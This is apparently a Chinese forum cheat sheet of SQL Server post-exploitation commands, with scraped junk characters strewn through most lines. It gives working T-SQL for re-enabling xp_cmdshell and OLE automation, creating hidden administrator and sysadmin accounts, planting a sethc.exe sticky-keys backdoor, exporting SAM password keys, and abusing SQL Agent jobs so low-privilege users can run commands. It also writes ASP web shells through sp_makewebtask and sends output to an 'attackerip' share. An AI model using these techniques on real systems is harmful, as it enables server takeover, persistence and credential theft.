1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
h1 z1 ^( K9 w, D, s, T8 X# T恢复方法:查询分离器连接后,, ^4 d: n: z) t; Q
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int & ~) c0 M9 b" w: V% a
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 5 q3 X- M# w& ]) S4 ?
然后按F5键命令执行完毕* [7 e* n( T( j! o/ b% |) f' f
: L9 J8 r$ h, \. `$ ]- `
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
/ A, j6 o, ]% x/ G' h2 w$ y恢复方法:查询分离器连接后,
5 `+ O; ?6 F' D4 f3 D第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"$ G$ ^ G) N" Z2 i
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'" w" Z, _4 ?6 i2 i( E! F, b) t
然后按F5键命令执行完毕 o0 Z) V* N- w0 o( N5 c
3 J) h4 V7 Q- G) l) k* w5 j3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)) q O: u* |) r# j: n
恢复方法:查询分离器连接后,& m+ }$ ]3 t w
第一步执行:exec sp_dropextendedproc 'xp_cmdshell', Q7 I R. _; c! q6 F! {
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
' z; g! r4 o: g2 d4 K; l然后按F5键命令执行完毕6 ^# \" b2 E( a% x: E1 r
2 G7 E( j" t& R# T$ N
4 终极方法.1 w& Q% h8 U: t" k/ m: P
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
3 u5 l$ X# j! c- d查询分离器连接后, b) l" P0 K! q/ K/ H
2000servser系统:- G! T" B: m6 B0 L+ ~
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add') X3 n3 ~) }( }9 f$ d9 }3 \+ D
5 w$ g7 a2 h! y3 o6 T5 j: D
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add') K- c) z. [' q* v
- X5 u6 a' w) g7 |! P7 N" uxp或2003server系统:
* s# g& H7 o; m* F
+ x+ @- [8 N8 @+ Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'9 \: ?$ ?! Q% j, { J" H1 K
: c4 P* v, k( G7 r' g1 z4 J, S- mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'" b& d8 x7 u1 ^$ O% T2 F) e
0 e1 r( e1 {" L: P4 d
/ O5 i! j. H! y4 m五个SHIFT
1 R! W1 x l3 b1 \declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';) _7 ~3 k- [& ]$ w
8 S! i! h# f& o" K4 y
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( p, @# _# ]! I
! D" s. S8 v' y2 r5 u& I. Z0 Uxp_cmdshell执行命令另一种方法
1 y$ N# p, g4 d+ G7 ?' O9 w6 rdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
1 e0 c3 @/ m' R6 a% y$ g7 Q7 a
6 h2 y6 w E9 E, O判断存储扩展是否存在
/ e, q5 q3 v7 P. m0 ^- }. T% `% e# RSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'1 d$ x: @& N/ A: {$ o
返回结果为1就OK! f9 u m( k) ]+ E8 q
2 L& B9 A' Q) s* Q0 ?# I9 ^
, e7 ] y: I- s6 X/ z5 l上传xplog70.dll恢复xp_cmdshell语句:* Q) \& n# _9 R/ ^6 b+ D2 c+ X
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'% ]# G4 J- D4 p {2 y; z5 X3 O4 ?
4 I5 j" Y6 K k9 |9 ^0 E
否则上传xplog7.0.dll; J$ ~. V, p# u; \+ v, F" n1 U% y
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'2 y5 _5 D. \' g0 l: ^7 f
7 `5 u5 }' j8 u2 u$ ~
. y3 G/ b$ s/ p: z& P% B" i% o) x& ]% D
首先开启沙盘模式:* e$ e0 [( d/ }5 K u) a
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; u2 I+ g8 `. }1 \6 S+ I8 a5 D" H
* P8 O$ v, }2 J: C然后利用jet.oledb执行系统命令2 t. h3 r* E* L. L" I o
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
" Q" N1 E' A6 l' o5 T0 d返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
% w/ i6 t5 Z8 w) a7 r, {, X9 F8 I, w; {! K! M! H
8 q; q# V6 t3 i( ]9 j7 P
; Y( o* G0 p# |, | @. H恢复过程sp_addextendedproc 如下:
/ o2 W5 L8 L/ z' Q! _$ x* P" pcreate procedure sp_addextendedproc --- 1996/08/30 20:13
! d" ~5 w& p2 d" A; S( f@functname nvarchar(517),/* (owner.)name of function to call */ : e7 j; f2 W+ _5 Y% Y; f
@dllname varchar(255)/* name of DLL containing function */
7 O# g W! a$ `* I2 @4 \as
: e7 Y( K, _5 Tset implicit_transactions off
% t3 S1 o1 q+ T% Qif @@trancount > 0
, O6 y5 V7 Z7 `. c& P+ [3 `begin
2 v1 x6 L9 ^2 a% Q0 k: j) |) |( Wraiserror(15002,-1,-1,'sp_addextendedproc')
7 j# ]# p2 I2 R( l) Y; qreturn (1) 4 X C! c: `: [7 c
end
: T9 |# [: |6 L. x& g' Y4 ~dbcc addextendedproc( @functname, @dllname) : } Y( S b4 N9 E6 S
return (0) -- sp_addextendedproc ' @! O+ o( C6 r
GO 3 w6 A; y3 y9 _
" U0 k d% a/ F0 `# W" y. I2 G. R: p# |
$ w% @7 j3 `- t' v$ T- v
0 j0 F5 S. I% ^+ [& G3 A2 m导出管理员密码文件
+ _2 B$ |/ X; e3 Y% v2 x& Q1 tsa默认可以读sam键.应该。6 s5 b3 ^. G5 r
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg" Z+ [9 [. V2 i+ j. ~* Y
net user administrator test
- J0 G* O6 B. |' z2 O+ `# M用administrator登陆.
* q. x: v- H6 s用完机器后- _) Z9 R9 j9 @( I/ @- e
reg import c:\test.reg. \$ ~/ s% S: r; u! ~" l3 V1 N
根本不用克隆.
, C w/ T. g& u7 q! K* N找到对应的sid. ) G; T0 k# w/ v& s1 H
6 l2 J& G- e4 N% D
' b# W* ~7 Q" U1 z( z( |4 n E/ Z! k5 M6 f( q; U
恢复所有存储过程
+ q3 b0 b' u3 T6 Vuse master . N m) s' }0 ?1 a
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
* ?9 f* m: O+ y3 ?' Y m7 Y1 K1 lexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
; u" ~6 i, \8 |+ ~exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
4 A1 L4 I+ i% ]& X( \- pexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ; {" b) ^& n1 ` l( d1 Y9 A
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ) [& R# { J0 _# k% O
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 0 e) R6 l1 y( [! _0 _3 q! O7 d
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 0 @2 P% x2 |$ z' V& m2 p5 v
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
5 ]% w7 @7 G8 r' G1 b: Fexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' $ K& H X' w3 W% j
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' : c4 o0 ~5 X8 V
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' + M3 b' f. f: i: |% N
exec sp_addextendedproc sp_OAStop,'odsole70.dll' : r! C6 k6 ?* A; m& v
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
) h. Z% R' s& X& l$ p: R7 lexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' ( p; N* |( t4 ~% `- P
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ) x1 K: I0 {3 Z
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' + V% G3 M- I6 {( u7 j" x
exec sp_addextendedproc xp_regread,'xpstar.dll'
' i1 J! w9 A3 ]( f# u# Dexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 2 e4 ^- Q0 H/ e' n& I1 l8 ^: B
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
y+ ^# x6 [- z: uexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
! n' W& v! X) O; H4 N p+ w
7 |8 T1 N4 ^0 i# N& [& G% s( b1 A; V7 F- {
建立读文件的存储过程
$ _. L' H: z8 Q: {) q# }# q6 t! G0 h7 z& LCreate proc sp_readTextFile @filename sysname
2 t# U" }( V+ C* pas0 K% c5 V& Z! B0 G6 f
: i& H: U9 }7 k5 [
begin
6 P2 b5 b8 E$ } set nocount on
0 y. q5 j! Y! |6 N Create table #tempfile (line varchar(8000))
0 K" N% \; t* K' m; x exec ('bulk insert #tempfile from "' + @filename + '"')! G3 O# L4 [* `/ i
select * from #tempfile+ G% J' K3 s( R* Y
drop table #tempfile: r& W0 U" ]8 g0 ?
End
, p9 ^: n. w, J) X+ d. g4 _" v u4 E9 T; o- y0 P; T8 t* D
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
: G+ V3 C$ X, T- t0 m查看登录用户
A. L& R, }. vSelect * from sysxlogins9 u: M* i% I |% O+ Z7 r2 I
% {3 ]) P( n: t0 d# l) o
把文件内容读取到表中6 t! W2 e* ~+ I9 c+ i. U7 f
BULK INSERT tmp from "c:\test.txt"
; c1 h0 E* w, @0 u! HdElete from 表名 清理表里的内容
4 L3 \! B) f2 u2 ^% V/ D5 pcreate table b_test(fn nvarchar(4000));建一个表,字段为fn3 R! I- C+ N g6 q( {
7 ]+ \4 j V: a* U9 N+ h
3 g* Z2 V" D/ D0 c4 m加sa用户7 R# B9 {) i$ F m) H" I
exec master.dbo.sp_addlogin user,pass;
+ o& b4 x: R1 E; ]+ m9 j% `) oexec master.dbo.sp_addsrvrolemember user,sysadmin u8 b& S7 }7 N% D
& |! }/ D, c! y
' ?! L0 e C) f5 g8 H# h7 F# C% B$ ?- c; g: `. `
读文件代码
, Z% \; ?% X" Z+ _$ N8 ideclare @o int, @f int, @t int, @ret int
9 b8 z0 R2 t. H) ~1 J& ~% rdeclare @line varchar(8000), a2 p/ g9 [" l' m
exec sp_oacreate 'scripting.filesystemobject', @o out6 d. j9 w/ s. T6 i& t$ l
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
" j" U' D3 B6 c3 t3 T) Iexec @ret = sp_oamethod @f, 'readline', @line out
6 c- }9 A8 x5 O& [while( @ret = 0 )
! ~5 O3 r% C* T. n# F" B( y% Pbegin
; \$ q6 z: _/ ?4 y3 {2 |print @line
$ k7 E( m8 c/ F/ n, f* |exec @ret = sp_oamethod @f, 'readline', @line out9 V# F: J6 C# w
end4 G( X9 P" @. }/ P' z
1 q S( N, }+ ?$ x2 ^% G8 y3 a( [* g+ P2 t1 m( A, I% s
写文件代码:
$ D0 ~! x, {) p2 @5 n6 mdeclare @o int, @f int, @t int, @ret int& C8 b% j7 z+ W8 B3 ^+ }
exec sp_oacreate 'scripting.filesystemobject', @o out
6 }2 x5 @' n; d% lexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1" v3 G8 ~9 T l/ G- @0 B/ X8 {8 @
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
" t' _( a. Q2 Y8 ~4 ~! ?- p8 w. ?6 u6 i* Z
1 Q: C3 v1 B$ M6 Z U添加lake2 shell7 P/ W, ?# P( J! d
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
0 U0 x- m. }; Q( N Z k1 A' Osp_dropextendedproc xp_lake2
( P; e$ B$ P1 |- _. W mEXEC xp_lake2 'net user'8 y8 U6 {/ g! E; @. S' r8 {; x' F
2 p7 b$ l( k, B C+ M t
8 ^* \, T' }) w! {- `* d/ }得到硬盘文件信息 6 @5 q$ J! ~) {0 H1 |" X
--参数说明:目录名,目录深度,是否显示文件
1 b1 [: O) R4 [execute master..xp_dirtree 'c:'
/ |$ X2 x6 \9 a8 Lexecute master..xp_dirtree 'c:',1 7 S' G, v X( f7 a
execute master..xp_dirtree 'c:',1,1 $ U% v1 x( {; ]- [* U
/ Z. u/ G8 q' D9 Z6 u" m
J- o7 I0 G7 H7 m
读serv-u配置信息6 b% J3 d' {6 D
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
2 L7 K, f }3 T' oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'6 ^1 Y8 I: X7 L) I( W' s( ~' T
! I1 T5 \, i6 _1 J# g( o: X4 T
通过xp_regwrite写SHIFT后门
0 P. k$ x( n( c- U0 g) Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--7 R: Z0 P5 _/ R' M( T% l. @) k
7 f* ?9 N- k% ?( B& H
/ Z9 g$ V+ j% w1 @3 q8 t4 Q
1 c( x* K1 p* t& M O. c找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; y$ y8 ~5 g, d# s
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了3 I8 @% s0 v2 B
. H0 J8 d- k" b# w0 F/ N' i, i( l
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'1 M8 i& a" {2 c
% w$ m6 j# V# I% j
: {( ^ \, v- R5 `# L$ k- U3 _6 U6 b
! n5 W8 ?8 Y' q; c( M2 D1 ysql server 2005下开启xp_cmdshell的办法
7 l/ \; ~( Y, C/ f8 u9 N& [" |# d" [+ `+ g8 q
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- {6 L. x' `6 w$ `
' D) C, d; k" X! g ESQL2005开启'OPENROWSET'支持的方法:% H% M8 Z" c4 p) R5 U' U# V% c
; E9 [3 [3 ]4 W" @exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
- X1 o; H: ?0 L; v
C* u1 o( u' ^! {* q$ ESQL2005开启'sp_oacreate'支持的方法:
9 s2 m# l: W+ G: c4 r! i7 e% h( n9 V# ]! } d! f! M6 K8 i
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;+ e- Q3 Q' O# H% I* |
$ j% N' }9 \; ]; f- F" L) s) D
% }" c6 U. Z7 U- F! U, m- T. |0 b0 V
$ w- X7 P1 A$ U3 v& {, X$ e
9 G- o5 w3 J/ {1 P* A$ T! y* [
" f8 S+ i- ?& u; {2 Z1 K5 m0 }
& I. f) ~6 ?( b% Y% g1 {9 l
, R$ [' a+ i8 X, c! T
, a3 f/ h6 P& c' i; R" f4 P' _
8 m- _' j. j; I, N
' H0 q/ r- b9 S, v F
/ p' A; I- G/ @5 N: L; q/ k5 E) S& s
- ?4 E, h1 w3 R3 `/ `
; V$ }* `6 |- v6 F
6 H0 c4 h& t( u' M3 O, _+ _
- v$ Q$ H+ J5 M3 C! `% v
( ^" r& B! }* ~- N3 L
( T6 D4 E, [( N9 l. p$ @8 T$ i5 O$ _; W* u
1 P8 @" V% s" R5 ~" Y7 w; Z; D J8 |1 D( b* {2 c: n" g
! n1 T v0 S: n5 Q4 J! p
! K. ]6 `6 m& K( K3 J以下方面不知道能不能成功暂且留下研究哈:9 E0 R: m( ], s* h( K7 ~: R
4)' n- p5 \: Y! G
use msdb; --这儿不要是master哟1 n2 {6 ^- t- `# O
exec sp_add_job @job_name= czy82 ;
6 e' j. q. i5 A; |; [7 rexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;+ ]6 H2 M/ Q! S, s/ b. c
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;) J' n2 D. ]8 m8 t8 C! n
exec sp_start_job @job_name= czy82 ;
, D( Y0 K5 o9 ^+ V$ D% ?- W/ W+ q) i( C) l& A9 i- r$ u( Y, Q
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
3 o1 t% V2 W9 x# C4 G8 }执行tsql语句了.
' G7 G5 t+ c1 e: `5 O; _: e0 A对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
8 V: q& Z) y3 F0 c, C( M- T0 i; W$ ~第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)8 q& Z4 {: H8 ?8 a. x
net start SQLSERVERAGENT
& j9 @2 a6 Q" M4 l/ s# i
) @# Z) j4 e- f' z对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的& P) Q& C+ p; N+ h
USE msdb7 h7 `9 H2 |4 ?8 Y9 b/ n, T
EXEC sp_add_job @job_name = GetSystemOnSQL ,% |' @6 e% I7 J! J% N( r0 t, ]+ V
@enabled = 1,
5 m: S( ]& f* m@description = This will give a low privileged user access to
# e) p# W6 ^* k7 q6 q3 }" z( cxp_cmdshell ,- q% E+ G4 Z ]: O% Y+ u& c) ?
@delete_level = 1; b5 B8 W! C$ K
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,9 S' i% V. t" Z9 o" ] Q6 r7 |
@step_name = Exec my sql ,
) C' z+ F+ {# l$ ~@subsystem = TSQL ,
x4 }: h0 e5 S( J8 E@command = exec master..xp_execresultset N select exec9 _( M( g3 i0 ^6 h
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
% Z3 O# K5 x' S( l3 h* g: iEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
$ c4 i' k/ g6 j9 V& @/ k@server_name = 你的SQL的服务器名
' Y: u- f* w# g8 REXEC sp_start_job @job_name = GetSystemOnSQL
* {3 M1 v! t; e% z! g
. p; [' F0 n5 \2 K9 _2 |# ]# V+ N不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
. Y# W, N* ]- E$ j6 ]才让我们可以以public执行xp_cmdshell z' B1 s6 ]. k! b8 l9 B9 J
1 P: j+ s$ n V, T+ D5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
8 ~1 \9 o8 g; L3 x4 n5 \: s3 H/ h- H在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968" r* Z3 `9 \7 t
t+ b0 {+ f8 e; N7 @! Z& F3 lUSE msdb i0 p6 O$ v9 D3 b2 n' g2 M
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
* H6 Z0 f: L! Z8 x1 i3 o@enabled = 1,: ~) O. I8 D+ ]: ?5 G8 Z5 k! d
@description = This will create a file called c:\sqlafc123.txt ,
: P3 D2 |1 ?: X K; Z@delete_level = 1
+ n1 b0 m4 ?, u+ H/ x- T/ fEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
" c1 `1 e3 a, o3 Y@step_name = SQLAFC ,8 M! {' M; J8 E+ ?/ T
@subsystem = TSQL ,2 o7 a1 L, X; {' c) S6 { w
@command = select hello, this file was created by the SQL Agent. ," N" g d$ I3 k0 w8 a8 v3 h
@output_file_name = c:\sqlafc123.txt E5 S& s u4 I* V
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
( X" \/ Y4 C$ K; K9 e! s! k@server_name = SERVER_NAME 0 G, q0 g/ B/ S) f9 Z e# X: ?
EXEC sp_start_job @job_name = ArbitraryFilecreate ; z* `6 o f& Y+ A4 y4 O
7 ]# U1 |' ?& G- s5 i& r如果subsystem选的是:tsql,在生成的文件的头部有如下内容
6 s: k* N3 X8 E- _ b( h9 P1 I- h' ^& |+ N$ t$ K4 e
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
4 S9 e- r E3 X/ `----------------------------------------------
5 L1 M8 `3 Q. w, a' W7 T$ Yhello, this file was created by the SQL Agent.
* ]$ t0 E$ B8 A& d
8 e9 B; I4 t6 K j# P& s(1 ?????)1 c. |% k' ]4 X J
. ]- H- n! r- O# N8 Z9 t
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
% P$ }* p/ Q% {# I' u1 f4 ]命令的vbs文件到启动目录!, u$ V, @$ q0 {4 H1 M
5 s, ?# o( P! J$ }5 b) i6)关于sp_makewebtask(可以写任意内容任意文件名的文件)0 W# H/ Q; d( e
关于sp_MScopyscriptfile 看下面的例子
% J& I) f3 Q8 d6 Ydeclare @command varchar(100) " ~: s6 i9 C) \. c8 z9 Y4 V
declare @scripfile varchar(200)
5 M& `% m9 ^/ rset concat_null_yields_null off # L5 h3 m6 D/ r* F7 ^
select @command= dir c:\ > "\\attackerip\share\dir.txt"
7 a7 _( Z7 ^% H) Tselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
4 [( o6 i7 B$ Jexec sp_MScopyscriptfile @scripfile ,
! S8 f8 Q e, b( j7 c/ z+ l. P: m7 j! Q Y. n$ l
这两个东东都还在测试试哟
8 r! |- `; r5 s8 m让MSSQL的public用户得到一个本机的web shell ) q4 J& H. y C. D/ H. j. _6 a3 I$ D: z
1 Y/ L5 v( c4 i2 G- U( `
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312, o3 d3 {5 i; X/ I, w: g
--@query= select <img src=vbscript:msgbox(now())> ! {$ @/ p# j4 p0 \# l
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 5 B/ L+ H, h2 A i" ]( P; r
@query= select
+ J. W6 {; a1 P0 G9 w<%On Error Resume Next
# e: J$ v- o; R: F; `Set oscript = Server.createObject("wscript.SHELL") ; s5 [5 Y' f! u2 p H4 c# m, e i9 F
Set oscriptNet = Server.createObject("wscript.NETWORK") - }2 _1 M4 T' Z, N
Set oFileSys = Server.createObject("scripting.FileSystemObject") , c4 o$ W9 O1 C; l4 r: Z1 q
szCMD = Request.Form(".CMD") 9 a9 r8 w' Y7 y4 F; Z
If (szCMD <>"")Then
* s7 D) K5 c* X" l* tszTempFile = "C:\" & oFileSys.GetTempName()
+ E6 |( ?( \2 K! G, J: N: ~8 s) g# T: fCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
, U, W" g! z3 q# t* R/ m+ t3 H/ cSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) L9 g2 c* c- X
End If %>
3 U8 d) _7 W9 Q6 ^3 V7 r3 E1 x<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
: x/ [- d. f" s<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
" l# y, u+ S7 g1 j& z& H# P, @6 v5 Y</FORM>< RE> 5 i2 s3 _ J( ?; ^
<% If (IsObject(oFile))Then 1 w2 _ H/ ~- U4 L6 R; E& E
On Error Resume Next
7 w" V3 n) S7 h8 z; P( ^ YResponse.Write Server.HTMLEncode(oFile.ReadAll) 1 [8 `+ X! k2 |" C
oFile.Close
% V* q; X0 A2 t+ eCall oFileSys.deleteFile(szTempFile, True) Z* ~% H$ Q, V" T! g2 j I
End If%>
9 J$ T, ]# J) ?& R/ U D. F7 C</BODY></HTML>
+ S+ u! X4 ~- d+ [ |